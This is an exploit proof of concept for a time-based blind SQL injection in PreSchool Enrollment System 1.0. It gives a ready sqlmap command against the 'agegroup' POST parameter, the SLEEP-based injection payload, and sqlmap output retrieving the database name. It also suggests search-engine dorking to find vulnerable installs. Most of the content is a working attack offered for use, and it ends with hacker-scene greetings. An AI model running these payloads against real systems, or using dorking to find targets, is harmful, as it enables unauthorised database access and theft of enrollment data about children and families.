====================================================================================================================================
| # Title     : PreSchool Enrollment System 1.0 Blind Sql INjection Vulnerability                                                  |
| # Author    : indoushka                                                                                                          |
| # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 130.0.0 (64 bits)                                                   |
| # Vendor    : https://phpgurukul.com/pre-school-enrollment-system-using-php-and-mysql/                                           |
====================================================================================================================================

poc :

[+] Dorking İn Google Or Other Search Enggine.

[+] use payload : E:\sqlmap>python sqlmap.py -u 127.0.0.1/preschool/enrollment.php --method POST --data "submit=&agegroup=if" -p agegroup  --risk 3 --level 3 --dbms mysql --batch --current-db

[+] http://127.0.0.1/preschool/admin/index.php

---
Parameter: agegroup (POST)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: submit=&agegroup=if' AND (SELECT 1463 FROM (SELECT(SLEEP(5)))vYvF) AND 'HOEF'='HOEF
---
[12:53:05] [INFO] the back-end DBMS is MySQL
[12:53:05] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n] Y
web application technology: PHP 8.0.30, Apache 2.4.58
back-end DBMS: MySQL >= 5.0.12 (MariaDB fork)
[12:53:10] [INFO] fetching current database
[12:53:10] [INFO] retrieved:
[12:53:20] [INFO] adjusting time delay to 1 second due to good response times
preschooldb
current database: 'preschooldb'

Greetings to :=====================================================================================
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
===================================================================================================